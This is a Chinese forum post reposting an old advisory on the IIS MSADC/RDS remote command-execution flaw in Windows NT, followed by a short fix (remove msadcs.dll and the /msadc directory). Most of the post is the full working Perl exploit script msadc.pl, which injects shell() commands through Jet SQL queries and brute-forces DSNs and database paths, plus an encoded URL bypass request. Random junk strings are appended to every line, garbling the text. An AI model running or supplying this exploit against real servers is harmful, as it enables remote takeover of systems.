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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) A@#E@ ;lm  
=Dj#gV  
涉及程序: UJ2U1H54h  
Microsoft NT server xyXa .  
4^<?Wq~  
描述: n+M<\  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 gs`q6 f%(  
.T`%tJ-Em  
详细: E2-\]?\F(  
如果你没有时间读详细内容的话,就删除: <F'\lA9  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ~wdGd+ez  
有关的安全问题就没有了。 cU  
{_*yGK48n  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 )t%b838l%  
\Vk:93OH21  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 n+R7D.<q!!  
关于利用ODBC远程漏洞的描述,请参看: .e-#yET  
*0ro0Z|Iq  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm #<xm.  
+kD R.E:  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 (cO:`W6.  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp N2o7%gJw  
@O~pV`_tD  
这里不再论述。 yf,z$CR  
-nwypu  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: F"mmLao  
lEBLZ}}\  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset |uJ%5y#  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! -'Mf\h 8  
;9#KeA _  
ia? c0xL  
#将下面这段保存为txt文件,然后: "perl -x 文件名" [G3E%z  
yt2PU_),  
#!perl RM/ 0A|  
# fN2lLn9/u  
# MSADC/RDS 'usage' (aka exploit) script CvdN"k  
# : rVnc =k  
# by rain.forest.puppy cz$2R  
# T u'{&  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me :23P!^Y  
# beta test and find errors! !5N.B|N t  
5lum$5  
use Socket; use Getopt::Std; |':{lH6+1  
getopts("e:vd:h:XR", \%args); y B$x>Q'C(  
n&!-9:0  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; }QmqoCAE~m  
(h `V+  
if (!defined $args{h} && !defined $args{R}) { !n%j)`0M  
print qq~ nr3==21Om4  
Usage: msadc.pl -h <host> { -d <delay> -X -v } `GLx#=Q  
-h <host> = host you want to scan (ip or domain) 1.>m@Slr>  
-d <seconds> = delay between calls, default 1 second HbIF^LeY|R  
-X = dump Index Server path table, if available Alq(QDs  
-v = verbose @}ZVtrz  
-e = external dictionary file for step 5 LRF103nw  
"Y.y:Vv;  
Or a -R will resume a command session OZ&o:/*HM  
GN>@ZdVG}#  
~; exit;} H"F29Pu2  
mp3s-YfRc  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; #LNED)Vg  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} e#q}F>/L  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} P2nu;I_ &  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); Yr|4Fl~U  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} {c0`Um3&>  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } o !7va"  
<oeIcN7d  
if (!defined $args{R}){ $ret = &has_msadc; v-Sd*( 6  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 6w77YTJ  
"Rl}VeDY  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" K<J9 ~  
. "cmd /c "; :zR!/5  
$in=<STDIN>; chomp $in; T8NxJmYqB  
$command="cmd /c " . $in ; T^q 0'#/  
Mb=" Te>|  
if (defined $args{R}) {&load; exit;} :E?V.  
Vw"\{`  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; tf G@&&%9  
&try_btcustmr; fc@A0Hf  
13 wE"-  
print "\nStep 2: Trying to make our own DSN..."; 048kPXm`  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; DV{=n C  
Hx:;@_g q  
print "\nStep 3: Trying known DSNs..."; hv+zGID7  
&known_dsn; ;wD)hNLAvR  
%XTI-B/K  
print "\nStep 4: Trying known .mdbs..."; 2T`!v  
&known_mdb; yLcE X  
rM "l@3hP  
if (defined $args{e}){ OrG).^l  
print "\nStep 5: Trying dictionary of DSN names..."; [S<";l8  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } D`AsRd  
.|=\z9_7S8  
print "Sorry Charley...maybe next time?\n"; E} .^kc[(4  
exit; . ]M"# \  
92-I~ !d  
############################################################################## {XHh8_ ^&  
A)KZa"EX  
sub sendraw { # ripped and modded from whisker |K~Nw&rZ]  
sleep($delay); # it's a DoS on the server! At least on mine... ]%(2hY~i  
my ($pstr)=@_; y> (w\K9W  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || xLn%hxm?,  
die("Socket problems\n"); H[|~/0?K  
if(connect(S,pack "SnA4x8",2,80,$target)){ d!{r  v  
select(S); $|=1; Dhv3jg;lq  
print $pstr; my @in=<S>; B1Oq!k  
select(STDOUT); close(S); \[nut;  
return @in; =Runf +}  
} else { die("Can't connect...\n"); }} |&jXp%4T  
Rva$IX ^]  
##############################################################################  C.QO#b  
eiOW#_"\  
sub make_header { # make the HTTP request 'm9` 12 H  
my $msadc=<<EOT uVU)d1N  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 y_9Ds>p!T  
User-Agent: ACTIVEDATA 6zn5UW#q  
Host: $ip 5:U so{  
Content-Length: $clen Qci]i)s$js  
Connection: Keep-Alive -{_PuJ "  
=":,.Ttq41  
ADCClientVersion:01.06 3mni>*q7d  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 Sx\]!B@DSu  
h.fq,em+H  
--!ADM!ROX!YOUR!WORLD! ,2)6s\]/b  
Content-Type: application/x-varg !VK|u8i  
Content-Length: $reqlen )_NO4`ejs/  
cS+>J@L  
EOT q,6DEz  
; $msadc=~s/\n/\r\n/g; P }uOJVQ_  
return $msadc;} -%dCw6aX+  
{_dvx*M  
############################################################################## A(0lM`X  
fn!KQ`,#  
sub make_req { # make the RDS request 4`R(?  
my ($switch, $p1, $p2)=@_; RrgGEx  
my $req=""; my $t1, $t2, $query, $dsn; . [ mR M  
*9i{,I@  
if ($switch==1){ # this is the btcustmr.mdb query |WUG}G")*x  
$query="Select * from Customers where City=" . make_shell(); s9d_GhT%-  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 4Xv*wB1  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} KY N0  
IIqUZJ  
elsif ($switch==2){ # this is general make table query D sWS Gb  
$query="create table AZZ (B int, C varchar(10))"; Q5_o/wk  
$dsn="$p1";} l NBL4yM  
M#[{>6>iE  
elsif ($switch==3){ # this is general exploit table query 6`-jPR  
$query="select * from AZZ where C=" . make_shell(); ,?XCyHSgWW  
$dsn="$p1";} [fIg{Q  
c0fo7|  
elsif ($switch==4){ # attempt to hork file info from index server I2^8pTLh  
$query="select path from scope()"; <^uBoKB/f  
$dsn="Provider=MSIDXS;";} bs'n+:X `  
]0\MmAJRn  
elsif ($switch==5){ # bad query VD\=`r)nT  
$query="select"; t()c=8qF|u  
$dsn="$p1";} A+)`ZTuO  
v9->nVc-  
$t1= make_unicode($query); zv"Z DRW  
$t2= make_unicode($dsn); Hq 188<  
$req = "\x02\x00\x03\x00"; .GcKa024  
$req.= "\x08\x00" . pack ("S1", length($t1)); k;L6R!V  
$req.= "\x00\x00" . $t1 ; D#)b+7N-  
$req.= "\x08\x00" . pack ("S1", length($t2)); E+JqWR5  
$req.= "\x00\x00" . $t2 ; V2G6Kw9gt  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; MqUH',\3  
return $req;} 1!gbTeVlY  
'`<w#z}AF  
############################################################################## ! v0LBe4  
>dG[G>  
sub make_shell { # this makes the shell() statement C>w|a  
return "'|shell(\"$command\")|'";} = 9]~ yt  
)>- =R5ZV  
############################################################################## \'bzt"f$j  
O0y_Lm\  
sub make_unicode { # quick little function to convert to unicode 09Cez\0  
my ($in)=@_; my $out; 0K2`-mL  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } C2Tyoza  
return $out;} IN G@B#Cl  
?3xzd P  
############################################################################## n.G!43@*N  
DDH:)=;z  
sub rdo_success { # checks for RDO return success (this is kludge) IB7E}56l  
my (@in) = @_; my $base=content_start(@in); 8ITdSg  
if($in[$base]=~/multipart\/mixed/){ #YOA`m,'  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} E\,-XH  
return 0;} K6)j0 ]K1  
fwf$Co+R:*  
############################################################################## $p?aVO  
%|i`kYsy  
sub make_dsn { # this makes a DSN for us ^ovR7+V  
my @drives=("c","d","e","f"); Y.r+wc]  
print "\nMaking DSN: "; `$C n~dT  
foreach $drive (@drives) { 5[u]E~Fl}  
print "$drive: "; ,WB{i^TD  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . (*)hD(C5  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" hfy_3}_  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); b%/ 1$>_  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; {jX2}  
return 0 if $2 eq "404"; # not found/doesn't exist Per1IcN  
if($2 eq "200") { >J>[& zS  
foreach $line (@results) { %-0t?/>  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ;BIY^6,7e  
} return 0;} /RC7"QzL  
w G<yBI0  
############################################################################## 46&/gehr  
/d<P-!fK  
sub verify_exists { <HVt V9R  
my ($page)=@_; EJNU761  
my @results=sendraw("GET $page HTTP/1.0\n\n"); >s?S+W[L  
return $results[0];} :zF,A,)  
'y3!fN =h  
############################################################################## ITT@,  
OH(waKq2I  
sub try_btcustmr { ;VO:ph4Aj  
my @drives=("c","d","e","f"); <<R*2b  
my @dirs=("winnt","winnt35","winnt351","win","windows"); b`O'1r\Y;  
DZ PPJ2}  
foreach $dir (@dirs) { r? E)obE  
print "$dir -> "; # fun status so you can see progress p2$P:!Y)  
foreach $drive (@drives) { fDU!~/#  
print "$drive: "; # ditto V /V9B2.$  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; [^98fAlz6  
$reqlenlen=length( "$reqlen" ); 7Da`   
$clen= 206 + $reqlenlen + $reqlen; }2<7%FL  
SJ>vwmA4  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); d,n 'n  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} b 7?hI  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} (c &mCJN  
8C9-_Ng`  
############################################################################## DX K?Cv71z  
<;Zmjeb+#  
sub odbc_error { (rm?jDm   
my (@in)=@_; my $base; I75DUJqy]  
my $base = content_start(@in); o="M  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this -0x #  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 8&`LYdzt  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; J,y[[CdH`  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; wyO4Y  
return $in[$base+4].$in[$base+5].$in[$base+6];} }oGA-Qc}B  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; y ~!Zg}o  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 'Xq| Kf (  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} o]M5b;1  
 DwE[D]7o  
############################################################################## 8i#2d1O  
)"aV* "  
sub verbose { PKg@[<g43  
my ($in)=@_; EVC]sUT  
return if !$verbose; ~;{; ,8!)  
print STDOUT "\n$in\n";} 54R#W:t  
!_'ur>iR  
############################################################################## '=8d?aeF  
'XP7" N47O  
sub save { MJ [m  
my ($p1, $p2, $p3, $p4)=@_; LR.<&m%~.  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 41?HY{&2  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; /zVOK4BqN+  
close OUT;} Oso#+  
*@=/qkaJaI  
############################################################################## ~^fZx5  
XXcl{1Kp!@  
sub load { Jgd'1'FOs  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; e_ANUll1  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 8_B4?` k  
@p=<IN>; close(IN); ;dZZ;#k%  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); T{ XS")Vw  
$target= inet_aton($ip) || die("inet_aton problems"); 9u}Hmb  
print "Resuming to $ip ..."; lbl?k5  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; a>I+]`g  
if($p[1]==1) { _ y8Wn}19f  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; o 5uph=Q{  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ""F5z,'  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); nIy}#MUd|q  
if (rdo_success(@results)){print "Success!\n";} RF4vtQC=  
else { print "failed\n"; verbose(odbc_error(@results));}} PB`Y g  
elsif ($p[1]==3){ ZWU)\}}_R  
if(run_query("$p[3]")){ qCpp6~]Um  
print "Success!\n";} else { print "failed\n"; }} VfC<WVYiZ  
elsif ($p[1]==4){ {|_M # w~&  
if(run_query($drvst . "$p[3]")){ (WO]Xq<  
print "Success!\n"; } else { print "failed\n"; }} `FDiX7M  
exit;} Pz|>"'  
I%X6T@P  
############################################################################## {Y=WW7:Qx  
ju8q?Nyhs  
sub create_table { L<-_1!wh  
my ($in)=@_; KNpl:g3{<Q  
$reqlen=length( make_req(2,$in,"") ) - 28; 0s3%Kqi[  
$reqlenlen=length( "$reqlen" ); >j(_[z|v3  
$clen= 206 + $reqlenlen + $reqlen; `nv~NLkl  
my @results=sendraw(make_header() . make_req(2,$in,"")); 1;r|g)VM  
return 1 if rdo_success(@results); %D}kD6=  
my $temp= odbc_error(@results); verbose($temp); xH(lm2kvT  
return 1 if $temp=~/Table 'AZZ' already exists/; ?2;&O`x*  
return 0;} tip+q d  
G"U9E5O  
############################################################################## >G*eNn  
mPN@{.(j  
sub known_dsn { >WQMqQ^t@  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go &<5zqsNJ\a  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", )72+\C[*~r  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", bv9i*]  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ?{|q5n  
# 448-8x  
foreach $dSn (@dsns) { B^Nf #XN(  
print "."; lhz{1P]s  
next if (!is_access("DSN=$dSn")); &Gn 2tr  
if(create_table("DSN=$dSn")){ F2dHH^  
print "$dSn successful\n"; +xSHL|:b  
if(run_query("DSN=$dSn")){ o]` *M|  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { uK#4(eY=W  
print "Something's borked. Use verbose next time\n";}}} print "\n";} C'+YQ]u  
!M]uL&:  
############################################################################## goRL1L,5  
/vde2.|  
sub is_access { c74.< @w  
my ($in)=@_; 1N^[.=  
$reqlen=length( make_req(5,$in,"") ) - 28; #*uL)2nR  
$reqlenlen=length( "$reqlen" ); FLCexlv^  
$clen= 206 + $reqlenlen + $reqlen; Zq|I,l0+E  
my @results=sendraw(make_header() . make_req(5,$in,"")); eV"h0_ox  
my $temp= odbc_error(@results); )uIe&B  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); OwUhdiG  
return 0;} 2c,9e`  
=Z3F1Cq?  
############################################################################## nFg~< $d  
E7 Ul;d  
sub run_query { @=Uh',F  
my ($in)=@_; H8^(GUhyp  
$reqlen=length( make_req(3,$in,"") ) - 28; u+e{Mim  
$reqlenlen=length( "$reqlen" ); vnt%XU,,Y  
$clen= 206 + $reqlenlen + $reqlen; >,Ci?[pf  
my @results=sendraw(make_header() . make_req(3,$in,"")); nQtWvT  
return 1 if rdo_success(@results); TnOggpQ6X  
my $temp= odbc_error(@results); verbose($temp); &yTqZ*Yuk  
return 0;} HT cb_a  
S6M}WR^,  
############################################################################## 18d4fR   
4qbBc1,7y  
sub known_mdb { qI9z;_,gNz  
my @drives=("c","d","e","f","g"); B =T'5&  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Rz:]\jcIT/  
my $dir, $drive, $mdb; =^f<v_L  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; Y>T-af49  
xJvmhN/c  
# this is sparse, because I don't know of many T|op$ s|  
my @sysmdbs=( "\\catroot\\icatalog.mdb", wn, KY$/  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", @|m/djN5x  
"\\system32\\certmdb.mdb", Uh4%}-;  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ]BZA:dd.G  
G1tY)_-8[  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", t]g-CW 3  
"\\cfusion\\cfapps\\forums\\forums_.mdb", {n.PF8A5X  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", a=1@*ID  
"\\cfusion\\cfapps\\security\\realm_.mdb", S-b/S5  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Zw9FJ/Zn@  
"\\cfusion\\database\\cfexamples.mdb", HTS0s\R$  
"\\cfusion\\database\\cfsnippets.mdb", rmm0/+jY  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", {.|CdqwY  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", _p/UsJ  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 'ya{9EdlT  
"\\cfusion\\database\\smpolicy.mdb", 9YyLf;  
"\\cfusion\\database\cypress.mdb", @ioJ] $o7  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", E_wCN&`[  
"\\website\\cgi-win\\dbsample.mdb", [ /b2=>  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", j0aXyLNX  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" y9GoPC`z  
); #these are just hEH?[>9  
foreach $drive (@drives) { rfg'G&A(  
foreach $dir (@dirs){  `25yE/  
foreach $mdb (@sysmdbs) { M h}m;NI  
print "."; pa3{8x{9m  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ QO~P7r|A  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; uyWunpT  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ W,n!3:7 s  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; lNh70G8^p  
} else { print "Something's borked. Use verbose next time\n"; }}}}} AKfDXy  
8MtGlW%Eh  
foreach $drive (@drives) { "m8^zg hL  
foreach $mdb (@mdbs) { @n /nH?L  
print "."; ~jk|4`I?T  
if(create_table($drv . $drive . $dir . $mdb)){ tw/dD +  
print "\n" . $drive . $dir . $mdb . " successful\n"; /Iokf@5  
if(run_query($drv . $drive . $dir . $mdb)){ o#Dk& cH  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ()?(I?II  
} else { print "Something's borked. Use verbose next time\n"; }}}} ..5CC;B  
} +GN(Ug'R  
]Q1yNtN  
############################################################################## _6hQ %hv8  
;`{H!w[D  
sub hork_idx { exUFS5d  
print "\nAttempting to dump Index Server tables...\n"; |aS.a&vwR  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; @*XV`_!h  
$reqlen=length( make_req(4,"","") ) - 28;  4e7-0}0  
$reqlenlen=length( "$reqlen" ); s 5Qcl;}  
$clen= 206 + $reqlenlen + $reqlen; #gN&lY:CFn  
my @results=sendraw2(make_header() . make_req(4,"","")); bsli0FJSh'  
if (rdo_success(@results)){ _J#zY- j  
my $max=@results; my $c; my %d; lfgq=8d  
for($c=19; $c<$max; $c++){ Qd{CMm x  
$results[$c]=~s/\x00//g; ;ef}}K  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; o:'MpKm  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; )dw'BNz5hT  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; *:7rdzn  
$d{"$1$2"}="";} v!-pSa)3  
foreach $c (keys %d){ print "$c\n"; } q YQl,w  
} else {print "Index server doesn't seem to be installed.\n"; }} !9e=_mY  
>uRI'24  
############################################################################## 'JE`(xD  
V=l0(03j~  
sub dsn_dict { V1zmGy  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); Gb6'n$g  
while(<IN>){ d7 y[0<xM  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; Bk c4TO  
next if (!is_access("DSN=$dSn")); >Cp0.A:UC#  
if(create_table("DSN=$dSn")){ &6!)jIWJ  
print "$dSn successful\n";  8dA~\a  
if(run_query("DSN=$dSn")){ #zs~," dRv  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { T?0eVvM  
print "Something's borked. Use verbose next time\n";}}} (5YM?QAd  
print "\n"; close(IN);} vA{-{Q  
F/{!tx  
############################################################################## b8t7u  
qe#tj/aZ  
sub sendraw2 { # ripped and modded from whisker 2]*OQb#O6e  
sleep($delay); # it's a DoS on the server! At least on mine... M|h3Wt~7  
my ($pstr)=@_; !f [_+CD  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || TIDO@NwF  
die("Socket problems\n"); Wn2NMXK  
if(connect(S,pack "SnA4x8",2,80,$target)){ ^^$s%{ep"  
print "Connected. Getting data"; IEi^kJflU  
open(OUT,">raw.out"); my @in; U7F!Z( 9  
select(S); $|=1; print $pstr; 90rol~M&  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} =UQ3HQD  
close(OUT); select(STDOUT); close(S); return @in; f8dB-FlMm  
} else { die("Can't connect...\n"); }} 2/^3WY1U  
</z Eg3F\  
############################################################################## C,r;VyW6BI  
*i%d,w0+  
sub content_start { # this will take in the server headers ~36!?&eA8  
my (@in)=@_; my $c; d7upz]K9g  
for ($c=1;$c<500;$c++) { @": ^)87  
if($in[$c] =~/^\x0d\x0a/){ tyFzSrfc  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 8GUX{K  
else { return $c+1; }}} C1)!f j=  
return -1;} # it should never get here actually k y7Gwc  
1))8 A@,  
############################################################################## oG\Vxg*  
SqpaFWr  
sub funky {  =:pJ  
my (@in)=@_; my $error=odbc_error(@in); 8nV+e~-w  
if($error=~/ADO could not find the specified provider/){ bY:x8fl  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; XRi8Gpg  
exit;} m:2^= l4  
if($error=~/A Handler is required/){ NXrlk  
print "\nServer has custom handler filters (they most likely are patched)\n"; CD~.z7,LC  
exit;} wc4=VC"y  
if($error=~/specified Handler has denied Access/){ ~f98#43  
print "\nServer has custom handler filters (they most likely are patched)\n"; 3]S$ih&A  
exit;}} gM:".Ee  
q2E_ A  
############################################################################## f ;n3&e0eC  
Fx.=#bVX7  
sub has_msadc { Dp9+HA9t  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); (!WD1w   
my $base=content_start(@results); nNn :-  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); kffcm/  
return 0;} ~]2K ^bh8&  
5rik7a)Z]  
######################## ?e 4/p  
5\ nAeP  
F)eelPZ+,  
解决方案: 4V`G,W4^J  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll G"t5nHY\.  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 <a3 WKw  
eHUOU>&P]  
拿出来充数 哈哈
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